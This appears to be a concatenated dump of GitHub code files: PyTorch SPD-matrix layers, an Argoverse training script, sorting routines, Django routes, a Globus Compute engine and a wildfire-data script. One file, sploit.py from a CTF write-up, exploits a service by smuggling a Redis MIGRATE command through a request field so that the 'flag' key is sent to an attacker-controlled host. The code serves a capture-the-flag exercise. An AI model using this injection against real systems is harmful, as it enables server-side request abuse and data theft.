ctx.saved_tensors\n t0, NP , P = int(t0), int(NP), int(P)\n batch,nb_frames,joints,coor,col = input.size()\n grad_input_st = torch.zeros(input.size())\n grad_output_st = grad_output_st.split([len(sequence(nb_frames)[s]) for s in range(6)],2)\n input = input.reshape(batch,nb_frames,joints,coor)\n for s in range(6):\n g = sym(grad_output_st[s]).transpose(1,2)\n\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n X = input[:,binf:bsup + 1].clone().reshape(batch,bsup-binf + 1,NP, P, coor)\n #outside the edges of frames\n Xs = torch.cat((X[:,1:-1],X[:,:-2],X[:,2:]),-2)\n B = torch.eye(coor + 1,coor).reshape(1,1,1,coor + 1,coor).expand(batch,bsup-binf-1, NP,coor + 1,coor)\n b = torch.cat((torch.zeros(coor),torch.ones(1))).reshape(1,1,1,coor + 1,1).expand(batch,bsup-binf-1,NP,coor + 1,1)\n vect_one = torch.ones(batch,bsup-binf-1, NP, 3 * P,1)\n x = (1/6)*(Xs @ B.transpose(-1,-2) + vect_one @ b.transpose(-1,-2) ) @ g[:,1:-1] @ B\n grad_input_st[:,binf + 1:bsup] += ((x[:,:,:,:P] + x[:,:,:,P:2 * P] + x[:,:,:,2 * P:3 * P])/3).reshape(batch,bsup-binf-1,NP * P,coor).unsqueeze(-1)\n #The edges of frames\n Xs = X[:,::bsup-binf].reshape(batch,2,NP, P,coor)\n B = torch.eye(coor + 1,coor).reshape(1,1,1,coor + 1,coor).expand(batch,2,NP,coor + 1,coor)\n b = torch.cat((torch.zeros(coor),torch.ones(1))).reshape(1,1,1,coor + 1,1).expand(batch,2,NP,coor + 1,1)\n vect_one = torch.ones(batch,2, NP, P,1)\n x = (1/2)*(Xs @ B.transpose(-1,-2) + vect_one @ b.transpose(-1,-2) ) @ g[:,::bsup-binf] @ B\n grad_input_st[:,binf:bsup + 1:bsup-binf] += x.reshape(batch,2, NP * P,coor).unsqueeze(-1) \n return grad_input_st/3,None, None\n\nclass Gauss_agg1_st(nn.Module):\n def __init__(self, parts, t0 = 1):\n super(Gauss_agg1_st,self).__init__()\n self.t0 = t0\n self.parts = parts\n def forward(self,input):\n return Gauss_agg1_st_function.apply(input,self.parts, self.t0)\n\n\n### ReEig Layer\n\nclass ReEig_st_function(Function):\n @staticmethod\n def forward(ctx,input_st,eps):\n eps = torch.tensor(eps)\n #ST\n u,S,v = input_st.svd()\n ctx.save_for_backward(u,S.clone(),eps)\n S[S<eps] = eps\n return u @ S.diag_embed() @ u.transpose(-1,-2),u,S\n \n @staticmethod\n def backward(ctx,grad_output_st,grad_u,grad_S):\n u,S,eps = ctx.saved_tensors\n eps = float(eps)\n #ST\n P = S.unsqueeze(-1).expand(u.size())\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n Q = torch.ones(S.size())\n Q[S<eps] = 0\n Q = Q.diag_embed()\n g = sym(grad_output_st)\n S[S<eps] = eps\n dLdu = 2* g @ u @ S.diag_embed()\n dLdS = Q @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(3), out = torch.LongTensor())\n k = dLdS[:,:,:,idx,idx].diag_embed()\n grad_input_st = u @ (( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input_st,None\n\nclass ReEig_st(nn.Module):\n def __init__(self,eps = 10**(-4)):\n super(ReEig_st,self).__init__()\n self.eps = eps\n\n def forward(self,input_st):\n return ReEig_st_function.apply(input_st,self.eps)\n\n\n### LogEig Layer\n\nclass LogEig_st_function(Function):\n @staticmethod\n def forward(ctx,input_st,u,S):\n #ST\n s = S[:,:,:,:,0].log().diag_embed()\n ctx.save_for_backward(u,S,s)\n return u @ s @ u.transpose(-1,-2)\n \n @staticmethod\n def backward(ctx,grad_output_st):\n u,S,s = ctx.saved_tensors\n g = sym(grad_output_st)\n P = S.clone()\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n dLdu = 2* g @ u @ s\n dLdS = (1/S[:,:,:,:,0]).diag_embed() @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(3), out = torch.LongTensor())\n k = dLdS[:,:,:,idx,idx].diag_embed()\n grad_input_st = u @(( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n \n return grad_input_st,dLdu,dLdS\n\nclass LogEig_st(nn.Module):\n def __init__(self):\n super(LogEig_st,self).__init__()\n\n def forward(self,input_st,u,S):\n return LogEig_st_function.apply(input_st,u,S.unsqueeze(-1).expand(u.size()))\n\n\n### VecMat Layer\n\nclass VecMat_st_function(Function):\n\n @staticmethod\n def forward(ctx,input_st):\n ctx.save_for_backward(input_st)\n batch,fingers,nb_frames,row,col = input_st.size()\n input_st.abs_()\n input_st += (sqrt(2)-1)*input_st.triu(1)\n id = torch.LongTensor([[i,j] for i in range(row) for j in range(i,row)]).T\n output_st = input_st[:,:,:,id[0],id[1]].unsqueeze(-1)\n return output_st\n\n @staticmethod\n def backward(ctx,grad_output_st):\n input_st = ctx.saved_tensors\n input_st = input_st[0]\n batch,fingers,nb_frames,row,col = input_st.size()\n g = torch.zeros(batch,fingers,nb_frames,row,col)\n j = 0\n for i in range(row):\n g[:,:,:,i,i:] = grad_output_st[:,:,:,j:j + row-i,0]\n g[:,:,:,i:,i] = g[:,:,:,i,i:]\n j += row-i\n g += (sqrt(2)-1)*(g.triu(1) + g.tril(-1))\n return g\n\nclass VecMat_st(nn.Module):\n def __init__(self):\n super(VecMat_st,self).__init__()\n\n def forward(self,input_st):\n return VecMat_st_function.apply(input_st)\n\n\n### Second Gauss aggregation Layer\n\nclass Gauss_agg2_st_function(Function):\n @staticmethod\n def forward(ctx,x0,x1,x2,x3,x4,x5, parts):\n ctx.save_for_backward(x0,x1,x2,x3,x4,x5)\n input_st = [x0,x1,x2,x3,x4,x5]\n #ST\n mu = torch.zeros(x0.size(0),6,x0.size(1),x0.size(3),1)\n cov = torch.zeros(x0.size(0),6,x0.size(1),x0.size(3),x0.size(3))\n for s in range(6):\n batch,fingers,nb_frames,row,col = input_st[s].size()\n mu[:,s] = input_st[s].mean(2)\n x = input_st[s]-mu[:,s].unsqueeze(2).expand(batch,fingers,nb_frames,row,col)\n cov[:,s] = (x @ x.transpose(-1,-2)).mean(2)\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,6, len(parts),1,1)\n return torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2)\n @staticmethod\n def backward(ctx,grad_output_st):\n x0,x1,x2,x3,x4,x5 = ctx.saved_tensors\n input_st = [x0,x1,x2,x3,x4,x5]\n grad_input_st = []\n batch,fingers,nb_frames,row,col = x0.size()\n B = torch.eye(row + 1,row).reshape(1,1,row + 1,row).expand(batch,fingers,row + 1,row)\n b = torch.cat((torch.zeros(row),torch.ones(1))).reshape(1,1,1,row + 1).expand(batch,fingers,1,row + 1)\n g = sym(grad_output_st)\n #ST\n for s in range(6):\n nb_frames = input_st[s].size(2)\n x = input_st[s].squeeze(-1)\n vect_one = torch.ones(batch,fingers,nb_frames,1)\n gr = (2/(nb_frames))* (x @ B.transpose(-1,-2) + vect_one @ b) @ g[:,s] @ B\n grad_input_st.append(gr.unsqueeze(-1))\n return grad_input_st[0],grad_input_st[1],grad_input_st[2],grad_input_st[3],grad_input_st[4],grad_input_st[5], None\n\nclass Gauss_agg2_st(nn.Module):\n def __init__(self, parts):\n super(Gauss_agg2_st,self).__init__()\n self.parts = parts\n def forward(self,input_st):\n nb_frames = int(input_st.size(2)/3)\n l_sp = [len(sequence(nb_frames)[s]) for s in range(6)]\n x0,x1,x2,x3,x4,x5 = input_st.split(l_sp,2)\n return Gauss_agg2_st_function.apply(x0,x1,x2,x3,x4,x5, self.parts)\n\n\n## TS-GA-NET\n\n### First Gauss Aggregation Layer\n\nclass Gauss_agg1_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts, parts, NS):\n NS = torch.tensor(NS)\n NP, P = len(parts), len(parts[0])\n ctx.save_for_backward(input_ts, NS, torch.tensor(NP), torch.tensor(P))\n batch,nb_frames,joints,coordinates,col = input_ts.size()\n #TRY TS\n inputs = input_ts.reshape(batch,nb_frames,NP,P,coordinates,col)\n mu = torch.zeros((batch,6,NP,NS,P,coordinates,1))\n cov = torch.zeros((batch,6,NP,NS, P,coordinates,coordinates))\n for s in range(6):\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n nb_fr = int((bsup-binf + 1)/NS)\n for k in range(NS-1):\n mu[:,s,:,k] = inputs[:,k*nb_fr:(k + 1)*nb_fr].mean(1)\n x = inputs[:,k*nb_fr:(k + 1)*nb_fr]-mu[:,s,:,k].unsqueeze(1).expand(batch,nb_fr,NP, P,coordinates,1)\n cov[:,s,:,k] = (x @ x.transpose(-1,-2)).mean(1)\n k = NS-1\n mu[:,s,:,k] = inputs[:,k*nb_fr:].mean(1)\n x = inputs[:,k*nb_fr:nb_frames]-mu[:,s,:,k].unsqueeze(1).expand(inputs[:,k*nb_fr:nb_frames].size())\n cov[:,s,:,k] = (x @ x.transpose(-1,-2)).mean(1)\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,6,NP,NS, P,1,1)\n return torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2)\n\n @staticmethod\n def backward(ctx,grad_output_ts):\n input_ts,NS, NP, P = ctx.saved_tensors\n NS, NP, P = int(NS), int(NP), int(P)\n batch,nb_frames,joints,row,col = input_ts.size()\n grad_input_ts = torch.zeros(input_ts.size())\n inputs = input_ts.transpose(1,2).squeeze().reshape(batch,NP, P,nb_frames,row).type(torch.DoubleTensor)\n #TS\n g = sym(grad_output_ts).type(torch.DoubleTensor)\n B = torch.eye(row + 1,row).reshape(1,1,1,row + 1,row).expand(batch, NP, P,row + 1,row).type(torch.DoubleTensor)\n b = torch.cat((torch.zeros(row),torch.ones(1))).reshape(1,1,1,1,row + 1).expand(batch, NP, P,1,row + 1)\n for s in range(6):\n binf,bsup = min(sequence(nb_frames)[s]),max(sequence(nb_frames)[s])\n nb_fr = int((bsup-binf + 1)/NS)\n vect_one = torch.ones(batch, NP, P,nb_fr,1)\n for k in range(NS-1):\n x = (2/nb_fr)* (inputs[:,:,:,k*nb_fr:(k + 1)*nb_fr] @ B.transpose(-1,-2) + vect_one @ b) @ g[:,s,:,k] @ B\n grad_input_ts[:,k*nb_fr:(k + 1)*nb_fr] += x.reshape(batch, NP * P,nb_fr,row,col).transpose(1,2)\n k = NS-1\n rest_fr = inputs[0,0,0,k*nb_fr:].size(0)\n vect_one = torch.ones(batch, NP, P,rest_fr,1)\n x = (2/nb_fr)* (inputs[:,:,:,k*nb_fr:] @ B.transpose(-1,-2) + vect_one @ b) @ g[:,s,:,k] @ B\n grad_input_ts[:,k*nb_fr:] += x.reshape(batch, NP * P,rest_fr,row,col).transpose(1,2)\n return grad_input_ts/3,None, None\n\nclass Gauss_agg1_ts(nn.Module):\n def __init__(self,parts, NS = 15):\n super(Gauss_agg1_ts,self).__init__()\n self.NS = NS\n self.parts = parts\n def forward(self,input):\n return Gauss_agg1_ts_function.apply(input,self.parts, self.NS)\n\n\n### ReEig Layer\n\nclass ReEig_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts,eps):\n eps = torch.tensor(eps)\n #TS\n u,S,v = input_ts.svd()\n ctx.save_for_backward(u,S.clone(),eps)\n S[S<eps] = eps\n return u @ S.diag_embed() @ u.transpose(-1,-2),u,S \n \n @staticmethod\n def backward(ctx,grad_output_ts,grad_u,grad_S):\n u,S,eps = ctx.saved_tensors\n #TS\n P = S.unsqueeze(-1).expand(u.size())\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n Q = torch.ones(S.size())\n Q[S<eps] = 0\n Q = Q.diag_embed()\n g = sym(grad_output_ts) \n S[S<eps] = eps\n dLdu = 2* g @ u @ S.diag_embed()\n dLdS = Q @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(-1), out = torch.LongTensor())\n k = dLdS[:,:,:,:,:,idx,idx].diag_embed()\n grad_input_ts = u @ (( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input_ts,None\n\nclass ReEig_ts(nn.Module):\n def __init__(self,eps = 10**(-4)):\n super(ReEig_ts,self).__init__()\n self.eps = eps\n\n def forward(self,input_ts):\n return ReEig_ts_function.apply(input_ts,self.eps)\n\n\n### LogEig Layer\n\nclass LogEig_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts,u,S):\n s = S[:,:,:,:,:,:,0].log().diag_embed()\n ctx.save_for_backward(u,S,s)\n return u @ s @ u.transpose(-1,-2) \n \n @staticmethod\n def backward(ctx,grad_output_ts):\n u,S,s = ctx.saved_tensors\n g = sym(grad_output_ts)\n S[S<0.0001] = 0.0001\n P = S.clone()\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n dLdu = 2* g @ u @ s\n dLdS = (1/S[:,:,:,:,:,:,0]).diag_embed() @ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(-1), out = torch.LongTensor())\n k = dLdS[:,:,:,:,:,idx,idx].diag_embed()\n grad_input_ts = u @(( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input_ts,dLdu,dLdS\n\nclass LogEig_ts(nn.Module):\n def __init__(self):\n super(LogEig_ts,self).__init__()\n\n def forward(self,input_ts,u,S):\n return LogEig_ts_function.apply(input_ts,u,S.unsqueeze(-1).expand(u.size()))\n\n\n### VecMat Layer\n\nclass VecMat_ts_function(Function):\n\n @staticmethod\n def forward(ctx,input_ts):\n ctx.save_for_backward(input_ts)\n #TS\n row = input_ts.size(-1)\n input_ts.abs_()\n input_ts += (sqrt(2)-1)*input_ts.triu(1)\n id = torch.LongTensor([[i,j] for i in range(row) for j in range(i,row)]).T\n output_ts = input_ts[:,:,:,:,:,id[0],id[1]].unsqueeze(-1)\n return output_ts\n\n @staticmethod\n def backward(ctx,grad_output_ts):\n input_ts = ctx.saved_tensors\n input_ts = input_ts[0]\n #TS\n batch,seq,fingers,NS,joints,row,col = input_ts.size()\n grad_input_ts = torch.zeros(input_ts.size())\n j = 0\n for i in range(row):\n grad_input_ts[:,:,:,:,:,i,i:] = grad_output_ts[:,:,:,:,:,j:j + row-i,0]\n grad_input_ts[:,:,:,:,:,i:,i] = grad_input_ts[:,:,:,:,:,i,i:]\n j += row-i\n grad_input_ts += (sqrt(2)-1)*(grad_input_ts.triu(1) + grad_input_ts.tril(-1))\n return grad_input_ts\n\nclass VecMat_ts(nn.Module):\n def __init__(self):\n super(VecMat_ts,self).__init__()\n\n def forward(self,input_ts):\n return VecMat_ts_function.apply(input_ts)\n\n\n### Second Gauss aggregation Layer\n\nclass Gauss_agg2_ts_function(Function):\n @staticmethod\n def forward(ctx,input_ts):\n ctx.save_for_backward(input_ts)\n #TS\n batch,seq,NP,NS,P,row,col = input_ts.size()\n input_ts = input_ts.reshape(batch,seq,NP, NS * P,row,col)\n mu = input_ts.mean(3)\n x = input_ts-mu.unsqueeze(3).expand(input_ts.size())\n cov = (x @ x.transpose(-1,-2)).mean(3)\n elt00 = cov + mu @ mu.transpose(-1,-2)\n elt01 = mu\n elt10 = mu.transpose(-1,-2)\n elt11 = torch.ones(batch,6, NP,1,1)\n return torch.cat((torch.cat((elt00,elt01),-1),torch.cat((elt10,elt11),-1)),-2)\n\n @staticmethod\n def backward(ctx,grad_output_ts):\n input_ts = ctx.saved_tensors\n input_ts = input_ts[0]\n #TS\n batch,seq,NP, NS, P,row,col = input_ts.size()\n input_ts = input_ts.reshape(batch,seq, NP, NS * P, row).type(torch.DoubleTensor)\n B = torch.eye(row + 1,row).reshape(1,1,row + 1,row).expand(batch,seq, NP,row + 1,row).type(torch.DoubleTensor)\n b = torch.cat((torch.zeros(row),torch.ones(1))).reshape(1,1,1,row + 1).expand(batch,seq, NP,1,row + 1)\n vect_one = torch.ones(batch,seq, NP,NS* P,1)\n g = sym(grad_output_ts).type(torch.DoubleTensor)\n gr = (2/(NS*4))* (input_ts @ B.transpose(-1,-2) + vect_one @ b) @ g @ B\n grad_input_ts = gr.reshape(batch, seq, NP, NS, P, row, col) \n return grad_input_ts\n\nclass Gauss_agg2_ts(nn.Module):\n def __init__(self):\n super(Gauss_agg2_ts,self).__init__()\n\n def forward(self,input_ts):\n return Gauss_agg2_ts_function.apply(input_ts)\n\n\n## SPDC Net\n\n### SPD Aggregation Layer\nclass StiefelParameter(nn.Parameter):\n \"\"\"A kind of Variable that is to be considered a module parameter on the space of \n Stiefel manifold.\n \"\"\"\n def __new__(cls, data = None, requires_grad = True):\n return super(StiefelParameter, cls).__new__(cls, data, requires_grad = requires_grad)\n\n def __repr__(self):\n return self.data.__repr__()\n\nclass SPDAgg_function(torch.autograd.Function):\n @staticmethod\n def forward(ctx,input,weights, N):\n ctx.save_for_backward(input,weights, torch.tensor(N))\n output = torch.sum(weights @ input @ (weights.transpose(-1,-2)) ,1 )\n return output\n\n @staticmethod\n def backward(ctx,grad_output):\n input,weight, N = ctx.saved_tensors\n g = grad_output.unsqueeze(1).expand(input.size(0),int(N), weight.size(2), weight.size(2))\n grad_input = weight.transpose(-1,-2) @ g @ weight\n grad_weight = 2* g @ weight @ input\n return grad_input,grad_weight, None\n\nclass SPD_Agg(nn.Module):\n def __init__(self, NP, input_size = 56,output_size = 200):\n super(SPD_Agg,self).__init__()\n self.output_size = output_size\n self.input_size = input_size\n self.NP = NP\n self.weight = StiefelParameter(torch.FloatTensor(self.NP,output_size,input_size), requires_grad = True)\n nn.init.orthogonal_(self.weight).requires_grad_()\n \n def forward(self,input):\n weight = self.weight.expand(input.size(0), self.NP,self.output_size,self.input_size)\n return SPDAgg_function.apply(input,weight, self.NP)\n\n\n### LogEig Layer\n\nclass LogEig_spdc_function(torch.autograd.Function):\n @staticmethod\n def forward(ctx,input,vect):\n u,S,v = input.svd()\n ctx.save_for_backward(u,S,torch.tensor(vect))\n output = u @ S.log().diag_embed() @ u.transpose(-1,-2)\n if vect:\n row = output.size(-1)\n output.abs_()\n output += (sqrt(2)-1)*output.triu(1)\n id = torch.LongTensor([[i,j] for i in range(row) for j in range(i,row)]).T\n output = output[:,id[0],id[1]]\n return output\n\n @staticmethod\n def backward(ctx,grad_output):\n u,S,vect = ctx.saved_tensors\n if vect:\n row = u.size(-2)\n grad_input = torch.zeros(u.size())\n j = 0\n for i in range(row):\n grad_input[:,i,i:] = grad_output[:,j:j + row-i]\n grad_input[:,i:,i] = grad_input[:,i,i:]\n j += row-i\n grad_input += (sqrt(2)-1)*(grad_input.triu(1) + grad_input.tril(-1))\n grad_output = grad_input\n g = sym(grad_output)\n P = S.unsqueeze(-1).expand(u.size())\n P = P - P.transpose(-1,-2)\n mask_zero = torch.abs(P) == 0\n P = 2 / P\n P[mask_zero] = 0\n dLdu = 2* g @ u @ S.log().diag_embed()\n dLdS = (1/S).diag_embed()@ u.transpose(-1,-2) @ g @ u\n idx = torch.arange(0,dLdS.size(-1), out = torch.LongTensor())\n k = dLdS[:,idx,idx].diag_embed()\n grad_input = u @(( P.transpose(-1,-2)*(u.transpose(-1,-2) @ sym(dLdu))) + k) @ u.transpose(-1,-2)\n return grad_input,None\n\nclass LogEig_spdc(nn.Module):\n def __init__(self,vect = True):\n super(LogEig_spdc,self).__init__()\n self.vect = vect\n def forward(self,input):\n return LogEig_spdc_function.apply(input,self.vect)\n","repo_name":"Mohamed-Sanim/Online-motion-recognition","sub_path":"SPDSiamese/ST_TS_HGR_Net.py","file_name":"ST_TS_HGR_Net.py","file_ext":"py","file_size_in_byte":20353,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"937311944","text":"from inspect import ArgInfo\nimport torch\nimport argparse\nimport os, sys, json\nfrom dataloader import ArgoverseDataset, my_collate\nfrom torch.utils.data import Dataset, DataLoader\nfrom train import train_model\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_type', default='linear', nargs='?',\n help='Choose a model type for prediction')\nargs = vars(parser.parse_args())\n\ndef main(args):\n # read from json file\n print(args)\n f = open('config.json')\n config = json.load(f)\n batch_size = config['batch_size']\n\n print(f'CUDA availability: {torch.cuda.is_available()}')\n if torch.cuda.is_available():\n for i in range(torch.cuda.device_count()):\n print(f'GPU name: {torch.cuda.get_device_name(i)}')\n\n device = torch.device(\"cuda:{}\".format(0) if torch.cuda.is_available() else \"cpu\")\n print(\"using cuda:{}\".format(0))\n\n # initialize the training dataset\n train_data = ArgoverseDataset(data_path=config['train_path'])\n train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=False, collate_fn=my_collate, num_workers=0)\n val_data = ArgoverseDataset(data_path=config['val_path'])\n val_loader = DataLoader(val_data, batch_size=batch_size, shuffle=False, collate_fn=my_collate, num_workers=0)\n model = train_model((train_loader, val_loader), config, device, args['model_type'])\n torch.save(model.state_dict(), 'linear.pt')\n\nif __name__ == \"__main__\":\n main(args)\n","repo_name":"QiwenZz/argoverse_motion_forcasting","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"6303114296","text":"ll = [8, 3, 1, 2, 5, 4, 6, 9, 0, 7]\n\n\ndef bubble_sort(array):\n\tfor i in range(len(array)):\n\t\tfor j in range(len(array) -i -1):\n\t\t\tif array[j] > array[j + 1]:\n\t\t\t\tarray[j], array[j+1] = array[j+1], array[j]\n\treturn array\n\n\n# print(bubble_sort(ll))\n\n\ndef quick_sort(array, i, j):\n\tif i >= j:\n\t\treturn array\n\tbase = array[i]\n\tlow = i\n\thigh = j\n\twhile i < j:\n\t\twhile i < j and array[j] >= base:\n\t\t\tj -= 1\n\t\tarray[i] = array[j]\n\n\t\twhile i < j and array[i] <= base:\n\t\t\ti += 1\n\t\tarray[j] = array[i]\n\tarray[j] = base\n\n\tquick_sort(array, low, i - 1)\n\tquick_sort(array, i + 1, high)\n\treturn array\n\n\nls =[30,24,5,58,18,36,12,42,39]\n# print(quick_sort(ls, 0, len(ls) - 1))\n\n\n\n\ndef quick_sort1(array, left, right):\n\tif left >= right:\n\t\treturn array\n\n\tbase = array[left]\n\tlow = left\n\thigh = right\n\n\twhile low < high:\n\n\t\twhile low < high and array[high] >= base:\n\t\t\thigh -= 1\n\t\tarray[low] = array[high]\n\n\t\twhile low < high and array[low] <= base:\n\t\t\tlow += 1\n\t\tarray[high] = array[low]\n\n\tarray[high] = base\n\n\tquick_sort(array, left, low-1)\n\tquick_sort(array, low+1, right)\n\treturn array\n\nfinal = quick_sort1(ls, 0, len(ls)-1)\nprint(final)","repo_name":"OceanO-o/ocean","sub_path":"private/prepare_for_interview/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4958353610","text":"from django.conf.urls import url\nfrom blog.views import index,test,get_category,list,catelist,details,download,recover,get_content\nfrom blog.upload_file import upload_files\nfrom blog.upload_file import get_attachment\n\n\nurlpatterns = [\n url(r'^$', index.as_view()),\n url(r'test/$', test),\n url(r'^get_category$', get_category),\n url(r'^list/(\\d*)$', list.as_view()),\n url(r'^catelist/(.*)$', catelist.as_view()),\n url(r'^details/(.*)$', details.as_view()),\n url(r'download/$', download),\n url(r'recover/$', recover),\n url(r'get_content/$', get_content),\n url(r\"^upload$\", upload_files),\n url(r\"^get_attachment$\", get_attachment),\n]","repo_name":"Christings/dazhu","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6501299871","text":"#!/usr/bin/env python3\nimport requests\nfrom argparse import ArgumentParser\n\n\ndef parse_args():\n parser = ArgumentParser()\n parser.add_argument(\n '--migrate-to-host',\n required=True,\n type=str,\n help='destination host of redis MIGRATE command, you need to listen some port on this host to retrieve data',\n )\n parser.add_argument(\n '--migrate-to-port',\n required=False,\n default=6379,\n type=int,\n help='port, that you are listening on destination host (6379 by default)',\n )\n parser.add_argument(\n '--service-url',\n required=True,\n type=str,\n help='host of the rjakenService',\n )\n parser.add_argument(\n '--redis-url',\n required=False,\n default='http://redis:6379',\n type=str,\n help='url to redis in internal network of service (http://redis:6379 by default)'\n )\n\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n payload = f'MIGRATE {args.migrate_to_host} {args.migrate_to_port} flag 0 1000\\r\\n'\n\n resp = requests.post(f'{args.service_url}/image', json={\n 'pictureLink': args.redis_url,\n 'method': payload,\n })\n\n print(resp.text)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"HackerDom/letoctf-taskbot-2022-writeups","sub_path":"04-rjakenBot/sploit/sploit.py","file_name":"sploit.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10807936244","text":"import logging\nimport multiprocessing\nimport os\nimport typing as t\nimport uuid\nfrom concurrent.futures import Future\n\nfrom globus_compute_common.messagepack.message_types import (\n EPStatusReport,\n TaskTransition,\n)\nfrom globus_compute_endpoint.engines.base import (\n GlobusComputeEngineBase,\n ReportingThread,\n)\nfrom parsl.executors.high_throughput.executor import HighThroughputExecutor\n\nlogger = logging.getLogger(__name__)\n\n\nclass GlobusComputeEngine(GlobusComputeEngineBase):\n def __init__(\n self,\n *args,\n label: str = \"GlobusComputeEngine\",\n address: t.Optional[str] = None,\n heartbeat_period_s: float = 30.0,\n **kwargs,\n ):\n self.address = address\n self.run_dir = os.getcwd()\n self.label = label\n self._status_report_thread = ReportingThread(\n target=self.report_status, args=[], reporting_period=heartbeat_period_s\n )\n super().__init__(*args, heartbeat_period_s=heartbeat_period_s, **kwargs)\n self.executor = HighThroughputExecutor( # type: ignore\n *args, address=address, **kwargs\n )\n\n def start(\n self,\n *args,\n endpoint_id: t.Optional[uuid.UUID] = None,\n run_dir: t.Optional[str] = None,\n results_passthrough: t.Optional[multiprocessing.Queue] = None,\n **kwargs,\n ):\n assert run_dir, \"GCExecutor requires kwarg:run_dir at start\"\n assert endpoint_id, \"GCExecutor requires kwarg:endpoint_id at start\"\n self.run_dir = os.path.join(os.getcwd(), run_dir)\n self.endpoint_id = endpoint_id\n self.executor.provider.script_dir = os.path.join(self.run_dir, \"submit_scripts\")\n os.makedirs(self.executor.provider.script_dir, exist_ok=True)\n if results_passthrough:\n # Only update the default queue in GCExecutorBase if\n # a queue is passed in\n self.results_passthrough = results_passthrough\n self.executor.start()\n self._status_report_thread.start()\n\n def _submit(\n self,\n func: t.Callable,\n *args: t.Any,\n **kwargs: t.Any,\n ) -> Future:\n return self.executor.submit(func, {}, *args, **kwargs)\n\n def get_status_report(self) -> EPStatusReport:\n \"\"\"\n endpoint_id: uuid.UUID\n ep_status_report: t.Dict[str, t.Any]\n task_statuses: t.Dict[str, t.List[TaskTransition]]\n Returns\n -------\n \"\"\"\n executor_status: t.Dict[str, t.Any] = {\n \"task_id\": -2,\n \"info\": {\n \"total_cores\": 0,\n \"total_mem\": 0,\n \"new_core_hrs\": 0,\n \"total_core_hrs\": 0,\n \"managers\": 0,\n \"active_managers\": 0,\n \"total_workers\": 0,\n \"idle_workers\": 0,\n \"pending_tasks\": 0,\n \"outstanding_tasks\": 0,\n \"worker_mode\": 0,\n \"scheduler_mode\": 0,\n \"scaling_enabled\": False,\n \"mem_per_worker\": 0,\n \"cores_per_worker\": 0,\n \"prefetch_capacity\": 0,\n \"max_blocks\": 1,\n \"min_blocks\": 1,\n \"max_workers_per_node\": 0,\n \"nodes_per_block\": 1,\n \"heartbeat_period\": self._heartbeat_period_s,\n },\n }\n task_status_deltas: t.Dict[str, t.List[TaskTransition]] = {}\n return EPStatusReport(\n endpoint_id=self.endpoint_id,\n ep_status_report=executor_status,\n task_statuses=task_status_deltas,\n )\n\n def shutdown(self):\n self._status_report_thread.stop()\n return self.executor.shutdown()\n","repo_name":"slateci/docker-images","sub_path":"globus-compute/compute_endpoint/globus_compute_endpoint/engines/globus_compute.py","file_name":"globus_compute.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41849807248","text":"import pandas as pd\nurl = 'https://ciffc-node-api.azurewebsites.net/v1/historical/yearly'\nhistory = pd.read_json(url)\n#removed the first 3 entries for years : 1980-1982 as they were empty\nhistory = history.iloc[3:]\nl=[]\nnewlist =[]\nfor index,row in history.iterrows():\n (l.append(row.tolist()))\nfor i in range(0, len(l)):\n #print(f'{l[i][0]} {len(l[i])}')\n for j in range(1, len(l[i])):\n if(l[i][j]==None):\n continue\n newlist.append([l[i][0],l[i][j]])\nremoved_nan =[]\nfor i in newlist:\n #check to see if the second element is a dictionary or not\n if(isinstance(i[1],dict)):\n removed_nan.append(i)\n\n\nhistorical_data = pd.DataFrame(removed_nan, columns=[\"year\", \"agency_info\"])\nhistorical_data[[\"agency\", \"avg_fires\", \"avg_hectares\"]] = 